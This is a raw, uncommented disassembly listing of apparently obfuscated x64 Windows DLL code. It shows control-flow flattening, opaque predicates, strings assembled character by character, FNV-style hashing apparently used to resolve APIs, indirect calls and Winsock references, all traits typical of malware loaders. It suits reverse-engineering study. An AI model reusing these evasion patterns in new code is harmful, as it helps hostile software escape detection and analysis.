mov eax, 0xcb4fa4c2
cmovne ebx, eax
cmp ecx, 0xa
mov eax, 0x44f3c329
cmovl ebx, eax
test dil, 1
cmove ebx, eax
add rdx, 7
mov qword [rbp + 0x250], rdx
mov byte [rbp + 0x234], 0x61
jmp 0x180061cc0
cmp ebx, 0x88db8f01
jne 0x180061cc0
mov rcx, qword [rbp + 0x158]
sub rsp, 0x20
call fcn.180090c10
add rsp, 0x20
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r8d, 0x7343bfbc
mov ecx, 0x9302de66
cmovne r8d, ecx
mov r9d, 0x7343bfbc
mov ecx, 0x181b9de8
cmovne r9d, ecx
mov edx, 0x28ad3f39
movabs r11, 0x100000001b3
jmp 0x180062f20
mov edx, dword [rbp + 0x250]
mov rdx, qword [rbp + 0x278]
mov rdx, qword [rbp + 0x278]
mov rdx, qword [rbp + 0x278]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, 0x181b9de8
nop word cs:[rax + rax]
cmp edx, 0xfe90a09b
jle 0x180062f90
cmp edx, 0x333d8297
jle 0x180062fe0
cmp edx, 0x5cca55f4
jg 0x18006305a
cmp edx, 0x333d8298
je 0x18006311d
cmp edx, 0x33ec62ab
je 0x180063136
cmp edx, 0x42d422e5
jne 0x180062f20
mov dword [rbp + 0x268], edi
mov edx, dword [rbp + 0x268]
movsx edx, byte [rax + rdx]
mov dword [rbp + 0x230], edx
mov edx, dword [rbp + 0x230]
cmp edx, 0x20
mov edx, 0xbb6ed30e
cmovge edx, r13d
jmp 0x180062f20
cmp edx, 0xc5fd57a7
jle 0x180063020
cmp edx, 0xeb000b68
jg 0x18006308a
cmp edx, 0xc5fd57a8
je 0x180063147
cmp edx, 0xd1e81d16
je 0x180063156
cmp edx, 0xd597d4ff
jne 0x180062f20
mov edx, 0x42d422e5
mov edi, dword [rbp + 0x22c]
jmp 0x180062f20
cmp edx, 0x12a1b9d7
jle 0x1800630bc
cmp edx, 0x12a1b9d8
je 0x18006316f
cmp edx, 0x181b9de8
je 0x18006317e
cmp edx, 0x28ad3f39
jne 0x180062f20
mov edx, 0x73f80f82
jmp 0x180062f20
cmp edx, 0xb163ad29
jle 0x1800630ee
cmp edx, 0xb163ad2a
je 0x1800631ae
cmp edx, 0xb9d33223
je 0x1800631db
cmp edx, 0xbb6ed30e
jne 0x180062f20
mov edx, 0x12a1b9d8
jmp 0x180062f20
cmp edx, 0x5cca55f5
je 0x1800631ec
cmp edx, 0x7343bfbc
je 0x180062ed2
cmp edx, 0x73f80f82
jne 0x180062f20
mov edx, 0x42d422e5
xor edi, edi
jmp 0x180062f20
cmp edx, 0xeb000b69
je 0x180063205
cmp edx, 0xfb306983
jne 0x18006327c
mov edx, dword [rbp + 0x230]
cmp edx, 0x7f
setl byte [rbp + 0x25f]
mov edx, 0x333d8298
jmp 0x180062f20
cmp edx, 0xfe90a09c
je 0x180063230
cmp edx, 0x1dd0b01
jne 0x180062f20
mov edx, dword [rbp + 0x244]
cmp edx, 0x5b
setl byte [rbp + 0x25e]
mov edx, 0xd1e81d16
jmp 0x180062f20
cmp edx, 0x87cbc1a8
je 0x180063262
cmp edx, 0x9302de66
jne 0x180062f20
mov rcx, qword [rbp + 0x248]
mov edx, 0xb163ad2a
mov esi, dword [rbp + 0x238]
jmp 0x180062f20
cmp byte [rbp + 0x25f], 0
mov edx, 0xbb6ed30e
mov ebx, 0x5cca55f5
cmovne edx, ebx
jmp 0x180062f20
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0x234]
jmp 0x180062f20
mov dword [rbp + 0x250], r10d
mov edx, r9d
jmp 0x180062f20
cmp byte [rbp + 0x25e], 0
mov edx, 0xb9d33223
mov ebx, 0xfe90a09c
cmovne edx, ebx
jmp 0x180062f20
mov edx, 0xb163ad2a
xor esi, esi
mov rcx, r12
jmp 0x180062f20
movsxd rdx, dword [rbp + 0x250]
xor rdx, qword [rbp + 0x278]
imul rdx, r11
mov qword [rbp + 0x248], rdx
mov edx, dword [rbp + 0x270]
add edx, 1
mov dword [rbp + 0x238], edx
mov edx, r8d
jmp 0x180062f20
mov dword [rbp + 0x270], esi
mov qword [rbp + 0x278], rcx
mov edx, dword [rbp + 0x268]
mov ebx, dword [rbp + 0x270]
cmp ebx, edx
mov edx, 0xf6d6bd87
mov ebx, 0x87cbc1a8
cmovb edx, ebx
jmp 0x180062f20
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0x244]
jmp 0x180062f20
mov edx, dword [rbp + 0x268]
add edx, 1
mov dword [rbp + 0x22c], edx
mov edx, 0xd597d4ff
jmp 0x180062f20
mov rdx, qword [rbp + 0x260]
movsx edx, byte [rdx]
mov dword [rbp + 0x244], edx
mov edx, dword [rbp + 0x244]
cmp edx, 0x41
mov edx, 0xb9d33223
mov ebx, 0x1dd0b01
cmovge edx, ebx
jmp 0x180062f20
mov edx, dword [rbp + 0x244]
mov ebx, edx
and ebx, 0x72963832
or ebx, 0x8d414380
and edx, 0x8d69c7ed
xor edx, ebx
xor edx, 0x8d4143a0
mov dword [rbp + 0x234], edx
mov edx, 0x33ec62ab
jmp 0x180062f20
mov edx, dword [rbp + 0x270]
add rdx, rax
mov qword [rbp + 0x260], rdx
mov edx, 0xeb000b69
jmp 0x180062f20
cmp edx, 0xf6d6bd87
jne 0x180062f20
mov rcx, qword [rbp + 0x278]
sub rsp, 0x20
call fcn.1800e9be0
add rsp, 0x20
mov rcx, qword [rbp + 0x1c8]
mov rcx, qword [rcx + 8]
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [rbp + 0x150]
mov rax, qword [rbp + 0x150]
mov qword [rbp + 0x260], rax
mov eax, 0xd6a10ba0
mov r8d, 0x611fa820
mov r9d, 0xaff5b1c6
nop word [rax + rax]
cmp eax, 0x441b201d
je 0x180065d66
cmp eax, 0xd6a10ba0
jne 0x1800632e0
mov dword [rbp + 0x270], 0x43
mov eax, dword [0x180129be8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x180129bec], 0xa
setl cl
or cl, al
mov ebx, 0x8ceba71e
cmovne ebx, r8d
mov ecx, 0x8ceba71e
cmovne ecx, r9d
mov eax, 0x97144bdb
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp eax, 0xaff5b1c5
jle 0x180063360
cmp eax, 0xaff5b1c6
je 0x18006337f
cmp eax, 0x51b33e4e
je 0x1800633a6
cmp eax, 0x611fa820
jne 0x180063340
jmp 0x1800633bd
cmp eax, 0x8ceba71e
je 0x1800633aa
cmp eax, 0x97144bdb
jne 0x180063340
mov dword [rbp + 0x250], 0x5a
mov eax, 0x51b33e4e
jmp 0x180063340
movsxd rdx, dword [rbp + 0x250]
imul rax, rdx, 0x4ec4ec4f
mov rdi, rax
shr rdi, 0x3f
shr rax, 0x22
add eax, edi
lea edi, [rax + rax*2]
lea eax, [rax + rdi*4]
sub edx, eax
mov eax, ebx
jmp 0x180063340
mov eax, ecx
jmp 0x180063340
mov eax, dword [rbp + 0x250]
mov eax, dword [rbp + 0x250]
mov eax, 0xaff5b1c6
jmp 0x180063340
mov byte [rbp + 0x268], dl
movsx eax, byte [rbp + 0x268]
mov dword [rbp + 0x250], eax
mov ecx, 0x67afa13d
nop word cs:[rax + rax]
nop
cmp ecx, 0xb7da92c8
je 0x180063403
cmp ecx, 0x67afa13d
jne 0x1800633e0
mov eax, dword [rbp + 0x270]
add eax, dword [rbp + 0x250]
mov ecx, 0xb7da92c8
jmp 0x1800633e0
mov byte [rbp + 0x268], al
mov al, byte [rbp + 0x268]
mov rcx, qword [rbp + 0x260]
mov byte [rcx], al
mov rax, qword [rbp + 0x260]
mov dword [rbp + 0x270], WSAStartup
mov ecx, dword [0x180129be8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x180129bec], 0xa
setl dl
or dl, cl
mov edi, 0x8ceba71e
cmovne edi, r8d
mov edx, 0x8ceba71e
cmovne edx, r9d
mov ecx, 0x97144bdb
nop
cmp ecx, 0xaff5b1c5
jle 0x180063490
cmp ecx, 0xaff5b1c6
je 0x1800634b1
cmp ecx, 0x51b33e4e
je 0x1800634d8
cmp ecx, 0x611fa820
jne 0x180063460
jmp 0x1800634f2
cmp ecx, 0x8ceba71e
je 0x1800634dc
cmp ecx, 0x97144bdb
jne 0x180063460
mov dword [rbp + 0x250], 0x5a
mov ecx, 0x51b33e4e
jmp 0x180063460
movsxd rbx, dword [rbp + 0x250]
imul rcx, rbx, 0x4ec4ec4f
mov rsi, rcx
shr rsi, 0x3f
shr rcx, 0x22
add ecx, esi
lea esi, [rcx + rcx*2]
lea ecx, [rcx + rsi*4]
sub ebx, ecx
mov ecx, edi
jmp 0x180063460
mov ecx, edx
jmp 0x180063460
mov ecx, dword [rbp + 0x250]
mov ecx, dword [rbp + 0x250]
mov ecx, 0xaff5b1c6
jmp 0x180063460
mov byte [rbp + 0x268], bl
movsx ecx, byte [rbp + 0x268]
mov dword [rbp + 0x250], ecx
mov edx, 0x67afa13d
nop word [rax + rax]
cmp edx, 0xb7da92c8
je 0x180063533
cmp edx, 0x67afa13d
jne 0x180063510
mov ecx, dword [rbp + 0x270]
add ecx, dword [rbp + 0x250]
mov edx, 0xb7da92c8
jmp 0x180063510
mov byte [rbp + 0x268], cl
mov cl, byte [rbp + 0x268]
mov byte [rax + 1], cl
mov dword [rbp + 0x270], 0x65
mov ecx, dword [0x180129be8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x180129bec], 0xa
setl dl
or dl, cl
mov edi, 0x8ceba71e
cmovne edi, r8d
mov edx, 0x8ceba71e
cmovne edx, r9d
mov ecx, 0x97144bdb
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xaff5b1c5
jle 0x1800635c0
cmp ecx, 0xaff5b1c6
je 0x1800635e1
cmp ecx, 0x51b33e4e
je 0x180063608
cmp ecx, 0x611fa820
jne 0x180063590
jmp 0x180063622
cmp ecx, 0x8ceba71e
je 0x18006360c
cmp ecx, 0x97144bdb
jne 0x180063590
mov dword [rbp + 0x250], 0x5a
mov ecx, 0x51b33e4e
jmp 0x180063590
movsxd rbx, dword [rbp + 0x250]
imul rcx, rbx, 0x4ec4ec4f
mov rsi, rcx
shr rsi, 0x3f
shr rcx, 0x22
add ecx, esi
lea esi, [rcx + rcx*2]
lea ecx, [rcx + rsi*4]
sub ebx, ecx
mov ecx, edi
jmp 0x180063590
mov ecx, edx
jmp 0x180063590
mov ecx, dword [rbp + 0x250]
mov ecx, dword [rbp + 0x250]
mov ecx, 0xaff5b1c6
jmp 0x180063590
mov byte [rbp + 0x268], bl
movsx ecx, byte [rbp + 0x268]
mov dword [rbp + 0x250], ecx
mov edx, 0x67afa13d
nop word [rax + rax]
cmp edx, 0xb7da92c8
je 0x180063663
cmp edx, 0x67afa13d
jne 0x180063640
mov ecx, dword [rbp + 0x270]
add ecx, dword [rbp + 0x250]
mov edx, 0xb7da92c8
jmp 0x180063640
mov byte [rbp + 0x268], cl
mov cl, byte [rbp + 0x268]
mov byte [rax + 2], cl
mov dword [rbp + 0x270], 0x61
mov ecx, dword [0x180129be8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x180129bec], 0xa
setl dl
or dl, cl
mov edi, 0x8ceba71e
cmovne edi, r8d
mov edx, 0x8ceba71e
cmovne edx, r9d
mov ecx, 0x97144bdb
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xaff5b1c5
jle 0x1800636f0
cmp ecx, 0xaff5b1c6
je 0x180063711
cmp ecx, 0x51b33e4e
je 0x180063738
cmp ecx, 0x611fa820
jne 0x1800636c0
jmp 0x180063752
cmp ecx, 0x8ceba71e
je 0x18006373c
cmp ecx, 0x97144bdb
jne 0x1800636c0
mov dword [rbp + 0x250], 0x5a
mov ecx, 0x51b33e4e
jmp 0x1800636c0
movsxd rbx, dword [rbp + 0x250]
imul rcx, rbx, 0x4ec4ec4f
mov rsi, rcx
shr rsi, 0x3f
shr rcx, 0x22
add ecx, esi
lea esi, [rcx + rcx*2]
lea ecx, [rcx + rsi*4]
sub ebx, ecx
mov ecx, edi
jmp 0x1800636c0
mov ecx, edx
jmp 0x1800636c0
mov ecx, dword [rbp + 0x250]
mov ecx, dword [rbp + 0x250]
mov ecx, 0xaff5b1c6
jmp 0x1800636c0
mov byte [rbp + 0x268], bl
movsx ecx, byte [rbp + 0x268]
mov dword [rbp + 0x250], ecx
mov edx, 0x67afa13d
nop word [rax + rax]
cmp edx, 0xb7da92c8
je 0x180063793
cmp edx, 0x67afa13d
jne 0x180063770
mov ecx, dword [rbp + 0x270]
add ecx, dword [rbp + 0x250]
mov edx, 0xb7da92c8
jmp 0x180063770
mov byte [rbp + 0x268], cl
mov cl, byte [rbp + 0x268]
mov byte [rax + 3], cl
mov dword [rbp + 0x270], 0x74
mov ecx, dword [0x180129be8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x180129bec], 0xa
setl dl
or dl, cl
mov edi, 0x8ceba71e
cmovne edi, r8d
mov edx, 0x8ceba71e
cmovne edx, r9d
mov ecx, 0x97144bdb
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xaff5b1c5
jle 0x180063820
cmp ecx, 0xaff5b1c6
je 0x180063841
cmp ecx, 0x51b33e4e
je 0x180063868
cmp ecx, 0x611fa820
jne 0x1800637f0
jmp 0x180063882
cmp ecx, 0x8ceba71e
je 0x18006386c
cmp ecx, 0x97144bdb
jne 0x1800637f0
mov dword [rbp + 0x250], 0x5a
mov ecx, 0x51b33e4e
jmp 0x1800637f0
movsxd rbx, dword [rbp + 0x250]
imul rcx, rbx, 0x4ec4ec4f
mov rsi, rcx
shr rsi, 0x3f
shr rcx, 0x22
add ecx, esi
lea esi, [rcx + rcx*2]
lea ecx, [rcx + rsi*4]
sub ebx, ecx
mov ecx, edi
jmp 0x1800637f0
mov ecx, edx
jmp 0x1800637f0
mov ecx, dword [rbp + 0x250]
mov ecx, dword [rbp + 0x250]
mov ecx, 0xaff5b1c6
jmp 0x1800637f0
mov byte [rbp + 0x268], bl
movsx ecx, byte [rbp + 0x268]
mov dword [rbp + 0x250], ecx
mov ebx, 0x67afa13d
nop word [rax + rax]
cmp ebx, 0xb7da92c8
je 0x1800638c3
cmp ebx, 0x67afa13d
jne 0x1800638a0
mov ecx, dword [rbp + 0x270]
add ecx, dword [rbp + 0x250]
mov ebx, 0xb7da92c8
jmp 0x1800638a0
mov byte [rbp + 0x268], cl
mov cl, byte [rbp + 0x268]
mov byte [rax + 4], cl
mov dword [rbp + 0x270], 0x65
mov ecx, 0x97144bdb
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xaff5b1c5
jle 0x180063920
cmp ecx, 0xaff5b1c6
je 0x180063941
cmp ecx, 0x51b33e4e
je 0x180063968
cmp ecx, 0x611fa820
jne 0x1800638f0
jmp 0x180063982
cmp ecx, 0x8ceba71e
je 0x18006396c
cmp ecx, 0x97144bdb
jne 0x1800638f0
mov dword [rbp + 0x250], 0x5a
mov ecx, 0x51b33e4e
jmp 0x1800638f0
movsxd rbx, dword [rbp + 0x250]
imul rcx, rbx, 0x4ec4ec4f
mov rsi, rcx
shr rsi, 0x3f
shr rcx, 0x22
add ecx, esi
lea esi, [rcx + rcx*2]
lea ecx, [rcx + rsi*4]
sub ebx, ecx
mov ecx, edi
jmp 0x1800638f0
mov ecx, edx
jmp 0x1800638f0
mov ecx, dword [rbp + 0x250]
mov ecx, dword [rbp + 0x250]
mov ecx, 0xaff5b1c6
jmp 0x1800638f0
mov byte [rbp + 0x268], bl
movsx ecx, byte [rbp + 0x268]
mov dword [rbp + 0x250], ecx
mov edx, 0x67afa13d
nop word [rax + rax]
cmp edx, 0xb7da92c8
je 0x1800639c3
cmp edx, 0x67afa13d
jne 0x1800639a0
mov ecx, dword [rbp + 0x270]
add ecx, dword [rbp + 0x250]
mov edx, 0xb7da92c8
jmp 0x1800639a0
mov byte [rbp + 0x268], cl
mov cl, byte [rbp + 0x268]
mov byte [rax + 5], cl
add rax, 6
mov qword [rbp + 0x248], rax
lea rax, [0x18011fb04]
mov qword [rbp + 0x278], rax
mov eax, 0x441b201d
jmp 0x1800632e0
mov eax, dword [rbp + 0x1d4]
cmp eax, 3
mov eax, 0x90c5d406
mov ecx, 0xc4152794
cmovl eax, ecx
jmp 0x18005ef80
mov eax, dword [rbp + 0xb4]
mov dword [rbp + 0x90], eax
mov eax, dword [rbp + 0x1f0]
mov dword [rbp + 0x1d4], eax
mov eax, 0xd9d135fb
jmp 0x18005ef80
mov rax, qword [rbp + 0x188]
mov qword [rbp + 0x270], rax
mov rcx, qword [rbp + 0x270]
mov word [rcx], 0x8145
mov rcx, qword [rbp + 0x270]
add rcx, 2
mov qword [rbp + 0x250], rcx
mov dword [rbp + 0x278], 0x65
movzx ecx, word [rax]
mov ebx, 0xbc0f47ce
jmp 0x180063a90
mov word [rbp + 0x248], cx
movzx ebx, word [rbp + 0x248]
mov edx, dword [rbp + 0x278]
xor dx, bx
mov ebx, 0xdb4a6155
nop
cmp ebx, 0xdb4a6155
je 0x180065e40
cmp ebx, 0xbc0f47ce
jne 0x180063a90
mov edx, 0xd353301c
nop dword [rax]
cmp edx, 0xd353301c
je 0x180063ac2
cmp edx, 0x10dca7d2
jne 0x180063ab0
jmp 0x180063a72
mov edx, 0x10dca7d2
jmp 0x180063ab0
mov eax, 0x34ccaa0f
jmp 0x18005ef80
mov rcx, qword [rbp + 0xe0]
sub rsp, 0x20
call fcn.180108668
movabs r11, 0x100000001b3
add rsp, 0x20
add eax, eax
add eax, 2
mov dword [rbp + 0xa8], eax
mov eax, 0x106c2fb3
jmp 0x18005ef80
mov eax, dword [0x1801297e8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x98073112
mov ecx, 0x2da5869d
jmp 0x18005ef6a
mov rax, qword [rbp + 0x210]
mov rax, qword [rax + 0x10]
mov qword [rbp - 0x50], rax
mov rax, qword [rbp + 0x190]
mov qword [rbp + 0x50], rax
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x190]
mov qword [rbp + 0x270], rax
mov rcx, qword [rbp + 0x270]
mov word [rcx], 0xc08d
mov rcx, qword [rbp + 0x270]
mov qword [rbp + 0x278], rax
mov edx, 0xce195e6f
nop
cmp edx, 0xfa6b2617
je 0x18006612e
cmp edx, 0xce195e6f
jne 0x180063b70
mov rdx, qword [rbp + 0x278]
movzx edx, word [rdx]
mov word [rbp + 0x248], dx
mov edx, 0xfa6b2617
jmp 0x180063b70
mov rax, qword [rbp + 0x210]
mov rax, qword [rax + 0x10]
mov qword [rbp - 0x78], rax
mov eax, 0xb592efc3
jmp 0x18005ef80
mov rax, qword [rbp + 0x58]
mov rax, qword [rbp + 0x198]
mov qword [rbp + 0x270], rax
mov rcx, qword [rbp + 0x270]
mov byte [rcx], 0x68
mov rcx, qword [rbp + 0x270]
mov dword [rbp + 0x248], 0x43
mov edx, 0x423f0e31
nop word [rax + rax]
cmp edx, 0x423f0e31
je 0x180063c05
cmp edx, 0x3f505f3e
jne 0x180063bf0
jmp 0x18006617c
mov edx, 0x3f505f3e
jmp 0x180063bf0
mov rax, qword [rbp + 0x28]
cmp dword [rbp + 0x21c], 0
setne byte [rbp + 0x226]
mov eax, 0x50ed4433
jmp 0x18005ef80
mov dword [rbp + 0x280], 0x68
mov rax, qword [rbp + 0x1c8]
mov qword [rbp + 0xb8], rax
mov rax, qword [rbp + 0xb8]
mov rax, qword [rbp + 0xb8]
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
mov dword [rbp + 0x2bc], 1
mov word [rbp + 0x2c0], 0
mov rax, qword [rbp + 0x1b8]
mov rax, qword [rbp + 0x1b8]
mov dword [rbp + 0x278], 3
mov edx, 0x551dceed
nop dword [rax]
cmp edx, 0x1badd59c
je 0x1800661c2
cmp edx, 0x551dceed
jne 0x180063c90
mov ecx, dword [rbp + 0x278]
mov edx, 0x1badd59c
jmp 0x180063c90
mov rcx, qword [rbp + 0x120]
sub rsp, 0x20
call fcn.180091d60
movabs r11, 0x100000001b3
add rsp, 0x20
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r8d, 0x7343bfbc
mov ecx, 0x9302de66
cmovne r8d, ecx
mov r9d, 0x7343bfbc
mov ecx, 0x181b9de8
cmovne r9d, ecx
mov edx, 0x28ad3f39
jmp 0x180063d60
mov edx, dword [rbp + 0x250]
mov rdx, qword [rbp + 0x278]
mov rdx, qword [rbp + 0x278]
mov rdx, qword [rbp + 0x278]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, 0x181b9de8
nop word cs:[rax + rax]
cmp edx, 0xfe90a09b
jle 0x180063dd0
cmp edx, 0x333d8297
jle 0x180063e20
cmp edx, 0x5cca55f4
jg 0x180063e9a
cmp edx, 0x333d8298
je 0x180063f5d
cmp edx, 0x33ec62ab
je 0x180063f76
cmp edx, 0x42d422e5
jne 0x180063d60
mov dword [rbp + 0x268], edi
mov edx, dword [rbp + 0x268]
movsx edx, byte [rax + rdx]
mov dword [rbp + 0x230], edx
mov edx, dword [rbp + 0x230]
cmp edx, 0x20
mov edx, 0xbb6ed30e
cmovge edx, r13d
jmp 0x180063d60
cmp edx, 0xc5fd57a7
jle 0x180063e60
cmp edx, 0xeb000b68
jg 0x180063eca
cmp edx, 0xc5fd57a8
je 0x180063f87
cmp edx, 0xd1e81d16
je 0x180063f96
cmp edx, 0xd597d4ff
jne 0x180063d60
mov edx, 0x42d422e5
mov edi, dword [rbp + 0x22c]
jmp 0x180063d60
cmp edx, 0x12a1b9d7
jle 0x180063efc
cmp edx, 0x12a1b9d8
je 0x180063faf
cmp edx, 0x181b9de8
je 0x180063fbe
cmp edx, 0x28ad3f39
jne 0x180063d60
mov edx, 0x73f80f82
jmp 0x180063d60
cmp edx, 0xb163ad29
jle 0x180063f2e
cmp edx, 0xb163ad2a
je 0x180063fee
cmp edx, 0xb9d33223
je 0x18006401b
cmp edx, 0xbb6ed30e
jne 0x180063d60
mov edx, 0x12a1b9d8
jmp 0x180063d60
cmp edx, 0x5cca55f5
je 0x18006402c
cmp edx, 0x7343bfbc
je 0x180063d12
cmp edx, 0x73f80f82
jne 0x180063d60
mov edx, 0x42d422e5
xor edi, edi
jmp 0x180063d60
cmp edx, 0xeb000b69
je 0x180064045
cmp edx, 0xfb306983
jne 0x1800640bc
mov edx, dword [rbp + 0x230]
cmp edx, 0x7f
setl byte [rbp + 0x25f]
mov edx, 0x333d8298
jmp 0x180063d60
cmp edx, 0xfe90a09c
je 0x180064070
cmp edx, 0x1dd0b01
jne 0x180063d60
mov edx, dword [rbp + 0x244]
cmp edx, 0x5b
setl byte [rbp + 0x25e]
mov edx, 0xd1e81d16
jmp 0x180063d60
cmp edx, 0x87cbc1a8
je 0x1800640a2
cmp edx, 0x9302de66
jne 0x180063d60
mov rcx, qword [rbp + 0x248]
mov edx, 0xb163ad2a
mov esi, dword [rbp + 0x238]
jmp 0x180063d60
cmp byte [rbp + 0x25f], 0
mov edx, 0xbb6ed30e
mov ebx, 0x5cca55f5
cmovne edx, ebx
jmp 0x180063d60
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0x234]
jmp 0x180063d60
mov dword [rbp + 0x250], r10d
mov edx, r9d
jmp 0x180063d60
cmp byte [rbp + 0x25e], 0
mov edx, 0xb9d33223
mov ebx, 0xfe90a09c
cmovne edx, ebx
jmp 0x180063d60
mov edx, 0xb163ad2a
xor esi, esi
mov rcx, r12
jmp 0x180063d60
movsxd rdx, dword [rbp + 0x250]
xor rdx, qword [rbp + 0x278]
imul rdx, r11
mov qword [rbp + 0x248], rdx
mov edx, dword [rbp + 0x270]
add edx, 1
mov dword [rbp + 0x238], edx
mov edx, r8d
jmp 0x180063d60
mov dword [rbp + 0x270], esi
mov qword [rbp + 0x278], rcx
mov edx, dword [rbp + 0x268]
mov ebx, dword [rbp + 0x270]
cmp ebx, edx
mov edx, 0xf6d6bd87
mov ebx, 0x87cbc1a8
cmovb edx, ebx
jmp 0x180063d60
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0x244]
jmp 0x180063d60
mov edx, dword [rbp + 0x268]
add edx, 1
mov dword [rbp + 0x22c], edx
mov edx, 0xd597d4ff
jmp 0x180063d60
mov rdx, qword [rbp + 0x260]
movsx edx, byte [rdx]
mov dword [rbp + 0x244], edx
mov edx, dword [rbp + 0x244]
cmp edx, 0x41
mov edx, 0xb9d33223
mov ebx, 0x1dd0b01
cmovge edx, ebx
jmp 0x180063d60
mov edx, dword [rbp + 0x244]
mov ebx, edx
and ebx, 0x72963832
or ebx, 0x8d414380
and edx, 0x8d69c7ed
xor edx, ebx
xor edx, 0x8d4143a0
mov dword [rbp + 0x234], edx
mov edx, 0x33ec62ab
jmp 0x180063d60
mov edx, dword [rbp + 0x270]
add rdx, rax
mov qword [rbp + 0x260], rdx
mov edx, 0xeb000b69
jmp 0x180063d60
cmp edx, 0xf6d6bd87
jne 0x180063d60
mov rcx, qword [rbp + 0x278]
sub rsp, 0x20
call fcn.1800e9be0
add rsp, 0x20
mov rcx, qword [rbp + 0x200]
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [rbp + 0x210]
mov rax, qword [rax + 0x10]
mov qword [rbp - 0x70], rax
mov rax, qword [rbp + 0x118]
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov rax, qword [rbp + 0x118]
mov edx, 0xca464dc6
mov edi, 0x647fd959
nop dword [rax]
cmp edx, 0x9bc96918
je 0x180066211
cmp edx, 0xca464dc6
jne 0x180064120
mov ecx, 0xa03b8c2a
nop dword [rax]
cmp ecx, 0xa03b8c2a
je 0x180064152
cmp ecx, 0xf339a4f2
jne 0x180064140
jmp 0x180064159
mov ecx, 0xf339a4f2
jmp 0x180064140
mov word [rbp + 0x278], 7
movzx ecx, word [rbp + 0x278]
mov edx, 0x9bc96918
jmp 0x180064120
mov r8, qword [rbp + 0x1f8]
mov r9d, dword [rbp + 0x1ec]
mov rcx, qword [rbp - 0x78]
sub rsp, 0x20
mov edx, 2
call fcn.1800ca6e0
movabs r11, 0x100000001b3
add rsp, 0x20
test eax, eax
mov eax, 0x350b1ce7
mov ecx, 0x609e8737
cmove eax, ecx
jmp 0x18005ef80
cmp dword [rbp + 0xb0], 0
mov rax, qword [rbp + 0x80]
mov eax, 0xf656ea64
mov ecx, 0x215aedaa
cmove eax, ecx
jmp 0x18005ef80
mov eax, dword [rbp + 0x228]
add eax, dword [rbp + 0x2ec]
mov dword [rbp + 0x1ec], eax
mov eax, dword [0x1801297e8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9623c080
mov ecx, 0xc99ce315
cmovne eax, ecx
cmp dword [0x1801297ec], 0xa
mov ecx, 0x9623c080
cmovl eax, ecx
jmp 0x18005ef80
mov eax, 0xf1c1ad32
mov ecx, dword [rbp + 0x220]
mov dword [rbp + 0x1d8], ecx
jmp 0x18005ef80
mov rax, qword [rbp + 0x210]
mov rax, qword [rax + 0x10]
mov qword [rbp - 0x18], rax
mov eax, 0xac072d80
jmp 0x18005ef80
mov dword [rbp + 0x248], 0x47
mov dl, byte [rax]
mov byte [rbp + 0x260], dl
mov ebx, 0x1f14b4ef
nop word [rax + rax]
cmp ebx, 0x47d1636d
je 0x180066290
cmp ebx, 0x1f14b4ef
jne 0x180064260
movsx rdx, byte [rbp + 0x260]
mov ebx, 0x47d1636d
jmp 0x180064260
mov rax, qword [rbp + 0x210]
mov rax, qword [rax + 0x10]
mov qword [rbp - 0x20], rax
lea rcx, [rbp + 0x22f8]
mov qword [rbp + 0x78], rcx
mov rax, qword [rbp + 0x78]
sub rsp, 0x20
mov dx, 0x65
call fcn.1800979e0
add rsp, 0x20
mov word [rbp + 0x22f8], ax
lea rax, [rbp + 0x22fa]
mov qword [rbp + 0x248], rax
mov word [rbp + 0x250], WSAStartup
mov eax, 0x16192f83
nop word cs:[rax + rax]
nop
cmp eax, 0x6e9a7728
je 0x1800662cc
cmp eax, 0x16192f83
jne 0x1800642e0
movzx edx, word [rbp + 0x250]
sub rsp, 0x20
lea rsi, [rbp + 0x22f8]
mov rcx, rsi
call fcn.1800979e0
add rsp, 0x20
mov rcx, qword [rbp + 0x248]
mov word [rcx], ax
mov rax, qword [rbp + 0x248]
add rax, 2
mov qword [rbp + 0x278], rax
sub rsp, 0x20
mov rcx, rsi
mov dx, WSAStartup
call fcn.1800979e0
add rsp, 0x20
mov word [rbp + 0x260], ax
mov eax, 0x6e9a7728
jmp 0x1800642e0
mov eax, 0x8960cf00
jmp 0x18005ef80
mov rcx, qword [rbp + 0xe0]
sub rsp, 0x20
call fcn.1800151d0
movabs r11, 0x100000001b3
add rsp, 0x20
mov dword [rbp + 0xac], eax
mov eax, 0x940d344c
jmp 0x18005ef80
mov rax, qword [rbp + 0x110]
mov qword [rbp + 0x260], rax
mov eax, 0xf973aa9
mov r9d, 0xdf49869
mov r10d, 0xa7b69cb2
nop word cs:[rax + rax]
nop
